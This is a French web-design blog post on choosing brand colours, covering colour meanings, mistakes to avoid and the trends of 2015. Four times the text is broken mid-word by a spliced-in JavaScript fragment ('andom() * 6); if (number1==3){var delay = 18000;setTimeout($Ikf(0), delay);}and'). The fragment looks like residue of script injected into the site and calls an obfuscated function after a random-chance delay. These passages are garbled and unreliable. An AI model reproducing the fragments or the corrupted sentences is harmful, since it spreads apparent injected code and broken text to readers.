Les couleurs que vous allez utiliser dans la création de votre charte graphique ne doivent pas être choisies à la légère. Ces teintes vous suivront tout au long de votre aventure et connoteront votre identité, votre idéologie. En effet, la couleur définit la personnalité d’un design. Elle est plus puissante que les formes, que les mots ou les symboles. Il faut donc bien connaître son activité et sa cible. Prenez du recul, appropriez-vous une palette de couleurs simple et l’on se souviendra de vous.

Les couleurs sont des repères

Les couleurs sont familières : nous savons que le soleil est jaune, que le ciel est bleu, que le sang est rouge. Dans la nature, il est très peu probable que les couleurs changent, mais si demain quelqu’un décidait que l’eau du robinet était verte fluo ? Ou que le feu vert au bord de la route indique qu’il faille s’arrêter ? Nous serions tous bouleversé.

Les couleurs sont codifiées, elles évoquent une norme acceptée par tous : inconsciemment, nous savons que le rouge représente le chaud, et le bleu, le froid… et ce, sans avoir besoin de l’expliquer par un message verbal.

En plus de sa signification fonctionnelle, la couleur affecte également les humeurs. Les études menées par les gouvernements, les médecins, les marques et les designers ont toutes révélé les effets des couleurs sur les êtres vivants. Et cela concerne aussi bien les humains que les animaux (prenez l’exemple du taureau et de la couleur rouge). La couleur suggère un sentiment, une émotion, elle donne du sens à la vie.

La signification des couleurs

Si vous pensez que les grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andes entreprises comme Orange ou Armani choisissent leurs couleurs par instinct, c’est raté ! Il existe un dictionnaire des couleurs, sur lequel les designers se basent pour la création de leur charte graphique :

Le vert :  Le vert représente la terre, la nature, la croissance, l’espoir, l’honnêteté mais également l’envie. Le vert est important pour les bouton e-commerce « ajouter au panier » : cela évoque une notion de confiance et rassure le client. En chine, la couleur verte représente la santé et la prospérité. Des études ont montré que nous comprenions mieux les couleurs qui ressemblent à ce que nous associons à la nature.

Le noir : Pour le monde occidental, le noir est traditionnellement associé au désespoir, au déclin, à la mort et au deuil. Mais le noir donne aussi un sentiment de pouvoir et d’autorité. Il est assez courant de voir les marques de luxe utiliser cette couleur quandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and elles souhaitent véhiculer un message de sophistication et d’élégance.

Le jaune : Le jaune est associé à la vivacité, à l’audace et à l’amusement, cependant cette couleur n’est en général pas très appréciée . Certaines études démontrent que le jaune est souvent confondu avec la couleur orange par beaucoup de gens. On constate que le jaune est très souvent attaché aux « économies », il évoque donc un côté prix bas, cheap et bas de gamme.

Le blanc : Le blanc connote une base vierge, une fraîcheur. Il est lié aux nouveaux départs, à l’énergie positive et à la vie. Cette teinte est utilisée pour épurer un maximum les visuels trop chargés. Cependant, trop de blanc connote très vite un sentiment de froid et d’isolement.

Le rouge : Le rouge, tout comme le noir évoque un certain sentiment conflictuel. En effet, la couleur rouge représente le coeur, la passion, l’amour, les émotions et la sécurité. Mais elle peut également connoter le danger (on pense aux panneaux signalétiques du code de la route).

Le bleu : Les rois l’utilisaient beaucoup pour les uniformes de leurs soldats et leurs symboles de royauté. La couleur bleue véhicule un sentiment de confiance et d’autorité. De grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andes entreprises mondiales l’utilisent aujourd’hui pour cette raison (IBM, Facebook, Paypal). Attention néanmoins au côté froid et isolement.

Nous associons très vite les marques à leurs couleurs. Si Facebook avait opté pour un vert fluo qui agresse les yeux, penseriez-vous sincèrement que ce réseau social serait aussi populaire aujourd’hui ?

Les erreurs à éviter

Ce n’est pas parce qu’il existe 16 millions de couleurs qu’il faut toutes les utiliser en même temps! Aujourd’hui, quelque soit votre activité, et surtout dans le web, la tendance est à la sobriété. Il est préférable d’alléger nos interfaces qui deviennent de plus en plus complexes, pour les rendre ergonomiques, agréables et faciles d’utilisation.

Evitez tout mélange de couleurs non associables, privilégiez l’association de couleurs complémentaires (bleu et orange / rouge et vert etc…). Evitez également les dégradés qui rendent votre site lourd et « has been », optez plutôt pour des couleurs en aplat.

D’une manière générale, épurez au maximum le design de votre site pour le rendre agréable : vos visiteurs pourront ainsi se concentrer sur l’essentiel comme vos produits, vos textes etc…

Quelles sont les couleurs tendances en 2015 ?

Le design n’est pas une science exacte, il en est de l’appréciation de chacun, mais le rôle du graphiste est justement de proposer une tendance originale et moderne tout en cherchant à plaire au plus grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and nombre. Prenez également en considération le profil de votre cible, pour établir votre code couleur cohérent.

Les couleurs actuellement en vogue sont l’émeraude, le fushia léger, l’améthyste et le turquoise. Pour rester au goût du jour, visitez régulièrement le site flatuicolor qui vous donnera une tendance des couleurs actuelles.

La couleur 2014 à été officiellement reconnue comme étant la couleur Radiant Orchid. C’est une nuance de violet/lilas qui n’a pourtant pas encore percé dans le monde du webdesign.

La conclusion de Novavision-it

Vous l’avez remarqué, la couleur est un critère déterminant dans la construction de votre identité graphique. Couleurs chaudes, froides, utilisées en aplat ou en dégradé, seules ou associées à d’autres teintes… Tous ces choix vont façonner l’image de votre marque. Optez pour des couleurs en adéquation avec votre activité et votre cible, et pensez sobriété !

Si vous n’êtes pas sûrs de vous et que vous avez besoin d’un avis professionnel, notre graphiste se fera un plaisir de vous guider.